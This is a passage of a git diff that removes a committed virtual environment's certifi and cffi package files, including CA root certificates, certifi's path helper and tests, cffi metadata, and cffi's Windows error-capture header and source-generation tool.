Trust Systems Co., Ltd. -# Label: "SECOM TLS ECC Root CA 2024" -# Serial: 9329818985461676612 -# MD5 Fingerprint: 99:d3:9d:e4:d2:b1:2d:f0:2a:04:67:85:f3:df:46:d6 -# SHA1 Fingerprint: 7a:1f:22:2d:72:b2:c3:19:87:44:db:61:69:e8:a6:4b:d7:0d:44:0e -# SHA256 Fingerprint: 6a:b2:ab:75:f5:1c:b4:f4:f0:15:62:03:fb:f6:f6:46:23:2f:51:4b:e0:59:f6:28:33:30:8b:82:b4:d7:2d:b1 ------BEGIN CERTIFICATE----- -MIICTDCCAdGgAwIBAgIJAIF6LO+PI3pEMAoGCCqGSM49BAMDMFoxCzAJBgNVBAYT -AkpQMSYwJAYDVQQKEx1TRUNPTSBUcnVzdCBTeXN0ZW1zIENvLiwgTHRkLjEjMCEG -A1UEAxMaU0VDT00gVExTIEVDQyBSb290IENBIDIwMjQwHhcNMjQwMTMxMDU1MjM0 -WhcNNDkwMTE0MDU1MjM0WjBaMQswCQYDVQQGEwJKUDEmMCQGA1UEChMdU0VDT00g -VHJ1c3QgU3lzdGVtcyBDby4sIEx0ZC4xIzAhBgNVBAMTGlNFQ09NIFRMUyBFQ0Mg -Um9vdCBDQSAyMDI0MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE7NzFMtu9dzQXSNC1 -2fabk0+GlC5finB3R7XaZonRUd20aFiWObtuNBCLUZSfk6QXAE55BjEXsXQ/NG8y -UqicXjsu9ksDK3JZBgCwLOVh6+nwJXTvso/dEj/GUYH5mBdoo2MwYTAdBgNVHQ4E -FgQUO3YReyl04k4GTFaCQNAhL3qzydUwHwYDVR0jBBgwFoAUO3YReyl04k4GTFaC -QNAhL3qzydUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wCgYIKoZI -zj0EAwMDaQAwZgIxAN3ib8fi1pMYtAPjMilB5e5/H+t5CL0xPL+cZ5oTTZuSCjpA -n1v7F/VAr8bFxQXAowIxAKsBVO1ACFp7skwzPvdv1EUY5a897WGLT4lb+bjxFAWy -l8wDcZJdwGZ/pAHxt1AJ1g== ------END CERTIFICATE----- - -# Issuer: CN=Telia EC TLS Root CA v3 O=Telia Company AB -# Subject: CN=Telia EC TLS Root CA v3 O=Telia Company AB -# Label: "Telia EC TLS Root CA v3" -# Serial: 8028200332079443110287896228123317 -# MD5 Fingerprint: b6:fa:6a:5c:42:fb:c5:67:72:c0:e0:2f:72:fb:5a:44 -# SHA1 Fingerprint: b4:d6:07:c2:a5:95:bc:5b:f4:67:4d:c9:dc:6f:6f:0a:00:7a:a5:35 -# SHA256 Fingerprint: 09:8e:08:a9:1d:bb:f7:74:78:b9:6c:ce:b8:9b:14:13:a5:da:37:b7:c8:62:60:6a:95:5d:eb:07:17:9f:43:26 ------BEGIN CERTIFICATE----- -MIICMjCCAbegAwIBAgIPAYvSIlRjTQSLbOVHH9K1MAoGCCqGSM49BAMDMEoxCzAJ -BgNVBAYTAlNFMRkwFwYDVQQKDBBUZWxpYSBDb21wYW55IEFCMSAwHgYDVQQDDBdU -ZWxpYSBFQyBUTFMgUm9vdCBDQSB2MzAeFw0yMzExMTUwODU1MjZaFw00ODA1MjMx -MTAwMDBaMEoxCzAJBgNVBAYTAlNFMRkwFwYDVQQKDBBUZWxpYSBDb21wYW55IEFC -MSAwHgYDVQQDDBdUZWxpYSBFQyBUTFMgUm9vdCBDQSB2MzB2MBAGByqGSM49AgEG -BSuBBAAiA2IABMHIlhVDLbmFKUpW0iK4dpryT6emYOeS31JPwWnWPmkWRrAkTbPX -40sQfHI9mpR7Rbktu3ngg6W+BBSXSechtMCnBmWXj/EaVlmV5cY1jD2HoTfhBQ3A -acpCNMLJK4NpZaNjMGEwHwYDVR0jBBgwFoAU1GToQ4g6cy/QGnGCNgtehd7H3kMw -HQYDVR0OBBYEFNRk6EOIOnMv0BpxgjYLXoXex95DMA4GA1UdDwEB/wQEAwIBBjAP -BgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2kAMGYCMQCXAUdS/9bbJ8A1JYaG -f/bWt/s7Ta0ot5Ulno8OjSNYRWQIlS4tVWldvTAVA7heOFgCMQCvKr8+Z2Rn+OBr -5UHzlgBObpad1LuwNTRcdNgUJxIWadcki+UBLEi1/AURKV5md2M= ------END CERTIFICATE----- - -# Issuer: CN=Telia RSA TLS Root CA v3 O=Telia Company AB -# Subject: CN=Telia RSA TLS Root CA v3 O=Telia Company AB -# Label: "Telia RSA TLS Root CA v3" -# Serial: 8028214673410753541795188766939845 -# MD5 Fingerprint: f4:8b:9c:f3:f8:63:cf:dc:25:8f:b4:bb:a2:e9:9d:e2 -# SHA1 Fingerprint: b5:2e:88:4e:40:c1:11:fb:50:c7:e2:4f:ac:18:2b:bd:68:15:d2:34 -# SHA256 Fingerprint: d1:3d:b1:29:4c:45:eb:c6:fc:86:c6:bb:f6:9f:a2:9b:df:e6:92:df:f7:c7:13:c2:43:c7:a9:56:c6:a2:28:4c ------BEGIN CERTIFICATE----- -MIIFgjCCA2qgAwIBAgIPAYvSUKtCVSxHWr2h3BrFMA0GCSqGSIb3DQEBDAUAMEsx -CzAJBgNVBAYTAlNFMRkwFwYDVQQKDBBUZWxpYSBDb21wYW55IEFCMSEwHwYDVQQD -DBhUZWxpYSBSU0EgVExTIFJvb3QgQ0EgdjMwHhcNMjMxMTE1MDk0NzQyWhcNNDgw -NTIzMTEwMDAwWjBLMQswCQYDVQQGEwJTRTEZMBcGA1UECgwQVGVsaWEgQ29tcGFu -eSBBQjEhMB8GA1UEAwwYVGVsaWEgUlNBIFRMUyBSb290IENBIHYzMIICIjANBgkq -hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsV89KG19hCf4S1Fvk8D3TyDERhmcvx8F -7Kmb4WATx3ije1id3KHxRE0TKmcNCbAQ57bvHFEYa4hR2l20VjVadExqOW+2ld99 -MbEiO+jRVOz+BbxLxJnmGwCqI+BfuTjjVReDxsxjQvjgBsClaO/sm5i70nlZcWGR -tIkvWDK3NNkT5RtwXc/O8NTFVpbUqT6cRjIj3olAblR+lRf4Ffy5o+Q9fabjYn9Z -9S4itruElcEFf9Ljk7fwdTycT/rvJW9w/B3G2a3r0f/zXNOVruIBcqE6pkSospAC -U2bG42fYKrbM/GWnp7u+p9Frz4jaNwpb4YHuEeS8BratNcP8X62jXIvvKHxlsMDJ -Cnb4U8JzFOLsU6mohVY58BdZrvi0Gk9UOuqmgoG6dskHoksjZTlK61D/InzmEoA1 -yAYJFDVysjRxDUOu9cAwANbqmq77WIFL6BpnZgVqPtMfG6wN8BrTKdapvilVsYR5 -9BFgIsAVBMxrGh+W+QcvmJafUpASvlArKvVG2FI4i6PiLjSBT0+6F6EQLrYqefOQ -F/fBNEXb+njUQ0SUVrAqtH4Y+OjCI/a4/JJQppxeemZcQ0SUShgiI5AM5xHO5iya -UrTjYH4zxUz9j+1FEbDH/xpstr1gXBykspup+hRTaJcbA+UbpJqtWZndAPddJmt6 -YJQ+dU3pDu8CAwEAAaNjMGEwHwYDVR0jBBgwFoAUsMep0t2yKFZzBJSMFFxIbzdS -kqgwHQYDVR0OBBYEFLDHqdLdsihWcwSUjBRcSG83UpKoMA4GA1UdDwEB/wQEAwIB -BjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDAUAA4ICAQBdYzFsNGDRk7bR -/AgRKq+5637YuOW+w6uhpoS0VnKMUpyHCwku86hEvqivakPtfmlm4bFwt++sb/8O -XsWBqtfbXMaBNDTZl8XRMJuLWOW2JrbKkRzgG0eBUcvsadG1rrhbmZqYvFXaAZO7 -o4TdOZzxhBB5GOAWWXB3IeraNP4J63zyo9n8Gqw3sJBG44em5hoYjBffP+npibys -lnslRi4L6xHsCYj/Pab+OlqbMCB6v+sTCLeEIukRVzoR9aQ45pEK7Z1QBnSsbAKQ -tss0JKD9d/mX143H1xePjPhTXlv5JCkhrcj+SShz0P9+EHoWe6m9lyUEOIVn0rp+ -yVJWNbmyDv3VkwFxHC1ApSQsgSimjGQ4wtr6cSmordYxkV+Ro8lOIIhRksXPyDk2 -7gW6IjUXCkZKpxFjkL3jiBSc8SkxnwCWtXg8xwNwdFVNBGLCCuJnsneYXjJNqzRq -UcoGwzsvF3Qi/ZnHUNvISdevlgIAXL4Wvrxaqvoa01wB+GCfs57RTGE4TvAGhKNK -us8K3hRT1BSpigzMIRzSxtAOrqPN6j//QSmW9f8Jcncri4j2ihSpVrFU0NdNkMhZ -eAKidTFPsxCVFuW4Aniz7jqiw5sWtjbQrlW035izIEU4sYwQoC1Nx0Svy+mMTRai -50LqFQ+A1/Hq6xHHDNx7CI83d23Erw== ------END CERTIFICATE----- diff --git a/venv/Lib/site-packages/certifi/core.py b/venv/Lib/site-packages/certifi/core.py deleted file mode 100644 index 1c9661cc7c2f6917c2506a30b2710002f81ab23a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi/core.py +++ /dev/null @@ -1,83 +0,0 @@ -""" -certifi.py -~~~~~~~~~~ - -This module returns the installation location of cacert.pem or its contents. -""" -import sys -import atexit - -def exit_cacert_ctx() -> None: - _CACERT_CTX.__exit__(None, None, None) # type: ignore[union-attr] - - -if sys.version_info >= (3, 11): - - from importlib.resources import as_file, files - - _CACERT_CTX = None - _CACERT_PATH = None - - def where() -> str: - # This is slightly terrible, but we want to delay extracting the file - # in cases where we're inside of a zipimport situation until someone - # actually calls where(), but we don't want to re-extract the file - # on every call of where(), so we'll do it once then store it in a - # global variable. - global _CACERT_CTX - global _CACERT_PATH - if _CACERT_PATH is None: - # This is slightly janky, the importlib.resources API wants you to - # manage the cleanup of this file, so it doesn't actually return a - # path, it returns a context manager that will give you the path - # when you enter it and will do any cleanup when you leave it. In - # the common case of not needing a temporary file, it will just - # return the file system location and the __exit__() is a no-op. - # - # We also have to hold onto the actual context manager, because - # it will do the cleanup whenever it gets garbage collected, so - # we will also store that at the global level as well. - _CACERT_CTX = as_file(files("certifi").joinpath("cacert.pem")) - _CACERT_PATH = str(_CACERT_CTX.__enter__()) - atexit.register(exit_cacert_ctx) - - return _CACERT_PATH - - def contents() -> str: - return files("certifi").joinpath("cacert.pem").read_text(encoding="ascii") - -else: - - from importlib.resources import path as get_path, read_text - - _CACERT_CTX = None - _CACERT_PATH = None - - def where() -> str: - # This is slightly terrible, but we want to delay extracting the - # file in cases where we're inside of a zipimport situation until - # someone actually calls where(), but we don't want to re-extract - # the file on every call of where(), so we'll do it once then store - # it in a global variable. - global _CACERT_CTX - global _CACERT_PATH - if _CACERT_PATH is None: - # This is slightly janky, the importlib.resources API wants you - # to manage the cleanup of this file, so it doesn't actually - # return a path, it returns a context manager that will give - # you the path when you enter it and will do any cleanup when - # you leave it. In the common case of not needing a temporary - # file, it will just return the file system location and the - # __exit__() is a no-op. - # - # We also have to hold onto the actual context manager, because - # it will do the cleanup whenever it gets garbage collected, so - # we will also store that at the global level as well. - _CACERT_CTX = get_path("certifi", "cacert.pem") - _CACERT_PATH = str(_CACERT_CTX.__enter__()) - atexit.register(exit_cacert_ctx) - - return _CACERT_PATH - - def contents() -> str: - return read_text("certifi", "cacert.pem", encoding="ascii") diff --git a/venv/Lib/site-packages/certifi/py.typed b/venv/Lib/site-packages/certifi/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/certifi/tests/__init__.py b/venv/Lib/site-packages/certifi/tests/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/certifi/tests/test_certify.py b/venv/Lib/site-packages/certifi/tests/test_certify.py deleted file mode 100644 index 54670eaebe656f6cf307f61eb514a6a7bac77e96..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi/tests/test_certify.py +++ /dev/null @@ -1,18 +0,0 @@ -import os -import unittest - -import certifi - - -class TestCertifi(unittest.TestCase): - def test_cabundle_exists(self) -> None: - assert os.path.exists(certifi.where()) - - def test_read_contents(self) -> None: - content = certifi.contents() - assert "-----BEGIN CERTIFICATE-----" in content - - def test_py_typed_exists(self) -> None: - assert os.path.exists( - os.path.join(os.path.dirname(certifi.__file__), 'py.typed') - ) diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/INSTALLER b/venv/Lib/site-packages/cffi-2.1.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/METADATA b/venv/Lib/site-packages/cffi-2.1.1.dist-info/METADATA deleted file mode 100644 index bb5c286b3376b209ffb58889f361d141a8b22e7c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/METADATA +++ /dev/null @@ -1,67 +0,0 @@ -Metadata-Version: 2.4 -Name: cffi -Version: 2.1.1 -Summary: Foreign Function Interface for Python calling C code. -Author: Armin Rigo, Maciej Fijalkowski -Maintainer: Matt Davis, Matt Clay -License-Expression: MIT-0 -Project-URL: Documentation, https://cffi.readthedocs.io/ -Project-URL: Changelog, https://cffi.readthedocs.io/en/latest/whatsnew.html -Project-URL: Download, https://github.com/python-cffi/cffi/releases -Project-URL: Contact, https://groups.google.com/forum/#!forum/python-cffi -Project-URL: Source Code, https://github.com/python-cffi/cffi -Project-URL: Issue Tracker, https://github.com/python-cffi/cffi/issues -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Classifier: Programming Language :: Python :: Free Threading :: 2 - Beta -Classifier: Programming Language :: Python :: Implementation :: CPython -Requires-Python: >=3.10 -Description-Content-Type: text/markdown -License-File: LICENSE -Requires-Dist: pycparser; implementation_name != "PyPy" -Dynamic: license-file - -[![GitHub Actions Status](https://github.com/python-cffi/cffi/actions/workflows/ci.yaml/badge.svg?branch=main)](https://github.com/python-cffi/cffi/actions/workflows/ci.yaml?query=branch%3Amain++) -[![PyPI version](https://img.shields.io/pypi/v/cffi.svg)](https://pypi.org/project/cffi) -[![Read the Docs](https://img.shields.io/badge/docs-latest-blue.svg)][Documentation] - - -CFFI -==== - -Foreign Function Interface for Python calling C code. - -Please see the [Documentation] or uncompiled in the `doc/` subdirectory. - -Download --------- - -[Download page](https://github.com/python-cffi/cffi/releases) - -Source Code ------------ - -Source code is publicly available on -[GitHub](https://github.com/python-cffi/cffi). - -Contact -------- - -[Mailing list](https://groups.google.com/forum/#!forum/python-cffi) - -Testing/development tips ------------------------- - -After `git clone` or `wget && tar`, we will get a directory called `cffi` or `cffi-x.x.x`. We call it `repo-directory`. To run tests under CPython, run the following in the `repo-directory`: - - pip install pytest - pip install -e . # editable install of CFFI for local development - pytest src/c/ testing/ - -[Documentation]: http://cffi.readthedocs.org/ diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/RECORD b/venv/Lib/site-packages/cffi-2.1.1.dist-info/RECORD deleted file mode 100644 index d646104a1ff30e46e519c0d5bc601beeaedd500a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/RECORD +++ /dev/null @@ -1,53 +0,0 @@ -../../Scripts/cffi-gen-src.exe,sha256=-9cGElJ2paaKDaOGrwQdrJZbVyZ4t8krb5ap8n1NwBA,108395 -_cffi_backend.cp314-win_amd64.pyd,sha256=npmyGExg8hqIyvw3Q4be01WehpTtfPER8oaeBm0wMzQ,181248 -cffi-2.1.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -cffi-2.1.1.dist-info/METADATA,sha256=Z7anWV337eIZUBagXShfqn02Ko9XwjiYTtuLtnS1dw0,2594 -cffi-2.1.1.dist-info/RECORD,, -cffi-2.1.1.dist-info/WHEEL,sha256=pIUzES5vCYHKBR6AfxXxDFyqjZ9ckCheusePfq1FYSo,101 -cffi-2.1.1.dist-info/entry_points.txt,sha256=prYQgBH44nBQ_lJpu6iMgFG0FGl4gNOwtvvjoDoLABw,132 -cffi-2.1.1.dist-info/licenses/LICENSE,sha256=W6JN3FcGf5JJrdZEw6_EGl1tw34jQz73Wdld83Cwr2M,1123 -cffi-2.1.1.dist-info/top_level.txt,sha256=rE7WR3rZfNKxWI9-jn6hsHCAl7MDkB-FmuQbxWjFehQ,19 -cffi/__init__.py,sha256=xHstsoxfGX4kLU3Ur5W367DaZXY_x2lyyv0G-T6ULNo,511 -cffi/__pycache__/__init__.cpython-314.pyc,, -cffi/__pycache__/_cffi_gen_src.cpython-314.pyc,, -cffi/__pycache__/_imp_emulation.cpython-314.pyc,, -cffi/__pycache__/_shimmed_dist_utils.cpython-314.pyc,, -cffi/__pycache__/api.cpython-314.pyc,, -cffi/__pycache__/backend_ctypes.cpython-314.pyc,, -cffi/__pycache__/cffi_opcode.cpython-314.pyc,, -cffi/__pycache__/commontypes.cpython-314.pyc,, -cffi/__pycache__/cparser.cpython-314.pyc,, -cffi/__pycache__/error.cpython-314.pyc,, -cffi/__pycache__/ffiplatform.cpython-314.pyc,, -cffi/__pycache__/gen_src.cpython-314.pyc,, -cffi/__pycache__/lock.cpython-314.pyc,, -cffi/__pycache__/model.cpython-314.pyc,, -cffi/__pycache__/pkgconfig.cpython-314.pyc,, -cffi/__pycache__/recompiler.cpython-314.pyc,, -cffi/__pycache__/setuptools_ext.cpython-314.pyc,, -cffi/__pycache__/vengine_cpy.cpython-314.pyc,, -cffi/__pycache__/vengine_gen.cpython-314.pyc,, -cffi/__pycache__/verifier.cpython-314.pyc,, -cffi/_cffi_errors.h,sha256=Wzg-0Bu1_K2GEK0pSU5b6Q2GAAudcaF87HNG8LoFmWw,3583 -cffi/_cffi_gen_src.py,sha256=yUR53pFSbsa3ssF7_VOqXTaKeL5AJTHM_dyZ9IGY9sw,7044 -cffi/_cffi_include.h,sha256=zY6KFoo_bpa02PagQs1hzeW9O56snioloyxqvRKAot8,15234 -cffi/_embedding.h,sha256=PhAdAMcKClATVZ-lBcZeDEc12F6FqVdaHtaJ2Pkg6E8,17554 -cffi/_imp_emulation.py,sha256=RxREG8zAbI2RPGBww90u_5fi8sWdahpdipOoPzkp7C0,2960 -cffi/_shimmed_dist_utils.py,sha256=Bjj2wm8yZbvFvWEx5AEfmqaqZyZFhYfoyLLQHkXZuao,2230 -cffi/api.py,sha256=cWX1ZlscmOyTkvthiBpUWLcSRBtqlpn-moBu4esBmzI,42013 -cffi/backend_ctypes.py,sha256=T7CSc14P5vyloi5hyox68qhBWX079owHXaGDbY_U7bo,42283 -cffi/cffi_opcode.py,sha256=5-1cU6ppHGzsstF_eoglD_8tCDk76_Zhkzj3fW4Sic0,5723 -cffi/commontypes.py,sha256=7N6zPtCFlvxXMWhHV08psUjdYIK2XgsN3yo5dgua_v4,2805 -cffi/cparser.py,sha256=WY-ox4UGSuVSYTtgm02FmGgbmcuaaBK3moFlkdFSmsU,44754 -cffi/error.py,sha256=v6xTiS4U0kvDcy4h_BDRo5v39ZQuj-IMRYLv5ETddZs,877 -cffi/ffiplatform.py,sha256=avxFjdikYGJoEtmJO7ewVmwG_VEVl6EZ_WaNhZYCqv4,3584 -cffi/gen_src.py,sha256=TU_ZVDwoLnHPlal8_mPmpxqyWJ7U752jTc3UsTmE1QI,132 -cffi/lock.py,sha256=l9TTdwMIMpi6jDkJGnQgE9cvTIR7CAntIJr8EGHt3pY,747 -cffi/model.py,sha256=cA-bEAibcHUbtbqfgMq0CLQjFPAjV0JSRzMyKViNgF4,21752 -cffi/parse_c_type.h,sha256=OdwQfwM9ktq6vlCB43exFQmxDBtj2MBNdK8LYl15tjw,5976 -cffi/pkgconfig.py,sha256=uyt117TQeea3djagM1W5go8RpnySGTgoCzN8QHyZdlc,4365 -cffi/recompiler.py,sha256=TJVF07mFzYGTV6szp2zPrJd2dJKHN-eB_SuiJiGl9Kw,65140 -cffi/setuptools_ext.py,sha256=pZrnTqVCkGMqu8NxIxkdbItl65gehMP1LoraUdT7-4U,9566 -cffi/vengine_cpy.py,sha256=rRouYQ6BllAIXNjZGTPUW54rB952qi3gcm16SWXWKLc,43030 -cffi/vengine_gen.py,sha256=Z_KqaF6r54n5i4hjQThZdb-1DBTEimnU4y4E_KxSCDg,26931 -cffi/verifier.py,sha256=xIzV8iDMhZ1-qhX3RRX4DWo2k07WpcJxdhhAFXAjrmY,11154 diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/WHEEL b/venv/Lib/site-packages/cffi-2.1.1.dist-info/WHEEL deleted file mode 100644 index 7610fcb4defa9f9317ee25fdec52af3329a041cf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (83.0.0) -Root-Is-Purelib: false -Tag: cp314-cp314-win_amd64 - diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/entry_points.txt b/venv/Lib/site-packages/cffi-2.1.1.dist-info/entry_points.txt deleted file mode 100644 index 46bb21b8418be6e977183c3d48344ed9077b093d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/entry_points.txt +++ /dev/null @@ -1,5 +0,0 @@ -[console_scripts] -cffi-gen-src = cffi._cffi_gen_src:run - -[distutils.setup_keywords] -cffi_modules = cffi.setuptools_ext:cffi_modules diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/licenses/LICENSE b/venv/Lib/site-packages/cffi-2.1.1.dist-info/licenses/LICENSE deleted file mode 100644 index 0a1dbfb017c2e0afcaac48ba6750d32539335e41..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,23 +0,0 @@ - -Except when otherwise stated (look for LICENSE files in directories or -information at the beginning of each file) all software and -documentation is licensed as follows: - - MIT No Attribution - - Permission is hereby granted, free of charge, to any person - obtaining a copy of this software and associated documentation - files (the "Software"), to deal in the Software without - restriction, including without limitation the rights to use, - copy, modify, merge, publish, distribute, sublicense, and/or - sell copies of the Software, and to permit persons to whom the - Software is furnished to do so. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS - OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL - THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING - FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER - DEALINGS IN THE SOFTWARE. - diff --git a/venv/Lib/site-packages/cffi-2.1.1.dist-info/top_level.txt b/venv/Lib/site-packages/cffi-2.1.1.dist-info/top_level.txt deleted file mode 100644 index f64577957eb0d893196994ae517759f3fa8e48dd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi-2.1.1.dist-info/top_level.txt +++ /dev/null @@ -1,2 +0,0 @@ -_cffi_backend -cffi diff --git a/venv/Lib/site-packages/cffi/__init__.py b/venv/Lib/site-packages/cffi/__init__.py deleted file mode 100644 index 93dcdb3a347def69ccf181b8d643c901013efd47..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -__all__ = ['FFI', 'VerificationError', 'VerificationMissing', 'CDefError', - 'FFIError'] - -from .api import FFI -from .error import CDefError, FFIError, VerificationError, VerificationMissing -from .error import PkgConfigError - -__version__ = "2.1.1" -__version_info__ = (2, 1, 1) - -# The verifier module file names are based on the CRC32 of a string that -# contains the following version number. It may be older than __version__ -# if nothing is clearly incompatible. -__version_verifier_modules__ = "0.8.6" diff --git a/venv/Lib/site-packages/cffi/_cffi_errors.h b/venv/Lib/site-packages/cffi/_cffi_errors.h deleted file mode 100644 index 0931379ccd2afa96f99cfb2bd8b98a4307b76045..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_cffi_errors.h +++ /dev/null @@ -1,135 +0,0 @@ -#ifndef CFFI_MESSAGEBOX -# ifdef _MSC_VER -# define CFFI_MESSAGEBOX 1 -# else -# define CFFI_MESSAGEBOX 0 -# endif -#endif - - -#if CFFI_MESSAGEBOX -/* Windows only: logic to take the Python-CFFI embedding logic - initialization errors and display them in a background thread - with MessageBox. The idea is that if the whole program closes - as a result of this problem, then likely it is already a console - program and you can read the stderr output in the console too. - If it is not a console program, then it will likely show its own - dialog to complain, or generally not abruptly close, and for this - case the background thread should stay alive. -*/ -static void *volatile _cffi_bootstrap_text; - -static PyObject *_cffi_start_error_capture(void) -{ - PyObject *result = NULL; - PyObject *x, *m, *bi; - - if (InterlockedCompareExchangePointer(&_cffi_bootstrap_text, - (void *)1, NULL) != NULL) - return (PyObject *)1; - - m = PyImport_AddModule("_cffi_error_capture"); - if (m == NULL) - goto error; - - result = PyModule_GetDict(m); - if (result == NULL) - goto error; - - bi = PyImport_ImportModule("builtins"); - if (bi == NULL) - goto error; - PyDict_SetItemString(result, "__builtins__", bi); - Py_DECREF(bi); - - x = PyRun_String( - "import sys\n" - "class FileLike:\n" - " def write(self, x):\n" - " try:\n" - " of.write(x)\n" - " except: pass\n" - " self.buf += x\n" - " def flush(self):\n" - " pass\n" - "fl = FileLike()\n" - "fl.buf = ''\n" - "of = sys.stderr\n" - "sys.stderr = fl\n" - "def done():\n" - " sys.stderr = of\n" - " return fl.buf\n", /* make sure the returned value stays alive */ - Py_file_input, - result, result); - Py_XDECREF(x); - - error: - if (PyErr_Occurred()) - { - PyErr_WriteUnraisable(Py_None); - PyErr_Clear(); - } - return result; -} - -#pragma comment(lib, "user32.lib") - -static DWORD WINAPI _cffi_bootstrap_dialog(LPVOID ignored) -{ - Sleep(666); /* may be interrupted if the whole process is closing */ - MessageBoxW(NULL, (wchar_t *)_cffi_bootstrap_text, - L"Python-CFFI error", - MB_OK | MB_ICONERROR); - _cffi_bootstrap_text = NULL; - return 0; -} - -static void _cffi_stop_error_capture(PyObject *ecap) -{ - PyObject *s; - void *text; - - if (ecap == (PyObject *)1) - return; - - if (ecap == NULL) - goto error; - - s = PyRun_String("done()", Py_eval_input, ecap, ecap); - if (s == NULL) - goto error; - - /* Show a dialog box, but in a background thread, and - never show multiple dialog boxes at once. */ - text = PyUnicode_AsWideCharString(s, NULL); - - _cffi_bootstrap_text = text; - - if (text != NULL) - { - HANDLE h; - h = CreateThread(NULL, 0, _cffi_bootstrap_dialog, - NULL, 0, NULL); - if (h != NULL) - CloseHandle(h); - } - /* decref the string, but it should stay alive as 'fl.buf' - in the small module above. It will really be freed only if - we later get another similar error. So it's a leak of at - most one copy of the small module. That's fine for this - situation which is usually a "fatal error" anyway. */ - Py_DECREF(s); - PyErr_Clear(); - return; - - error: - _cffi_bootstrap_text = NULL; - PyErr_Clear(); -} - -#else - -static PyObject *_cffi_start_error_capture(void) { return NULL; } -static void _cffi_stop_error_capture(PyObject *ecap) { } - -#endif diff --git a/venv/Lib/site-packages/cffi/_cffi_gen_src.py b/venv/Lib/site-packages/cffi/_cffi_gen_src.py deleted file mode 100644 index 3d4fb7e3d9cfe1567865162e41b35f2f8850a07f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_cffi_gen_src.py +++ /dev/null @@ -1,216 +0,0 @@ -# Integrated from the cffi-buildtool project by Rose Davidson -# (https://github.com/inklesspen/cffi-buildtool), under the following -# license: -# -# MIT License -# -# Copyright (c) 2024, Rose Davidson -# -# Permission is hereby granted, free of charge, to any person obtaining a -# copy of this software and associated documentation files (the -# "Software"), to deal in the Software without restriction, including -# without limitation the rights to use, copy, modify, merge, publish, -# distribute, sublicense, and/or sell copies of the Software, and to -# permit persons to whom the Software is furnished to do so, subject to -# the following conditions: -# -# The above copyright notice and this permission notice (including the -# next paragraph) shall be included in all copies or substantial portions -# of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -"""Implementation of the ``cffi-gen-src`` command-line tool. - -This module is private; the command line is the only supported -interface. Two subcommands: - -``exec-python`` - Execute a Python script that constructs a :class:`cffi.FFI` - (the same kind of script that the CFFI docs' "Main mode of usage" - describes) and emit the generated C source. - -``read-sources`` - Create the :class:`cffi.FFI` from a separate ``cdef`` file and C - source prelude, then emit the generated C source. -""" - -import argparse -import io -import os -import sys - -from .api import FFI - - -def _execfile(pysrc, filename, globs): - compiled = compile(source=pysrc, filename=filename, mode='exec') - exec(compiled, globs, globs) - - -def find_ffi_in_python_script(pysrc, filename, ffivar): - """Execute ``pysrc`` and return the 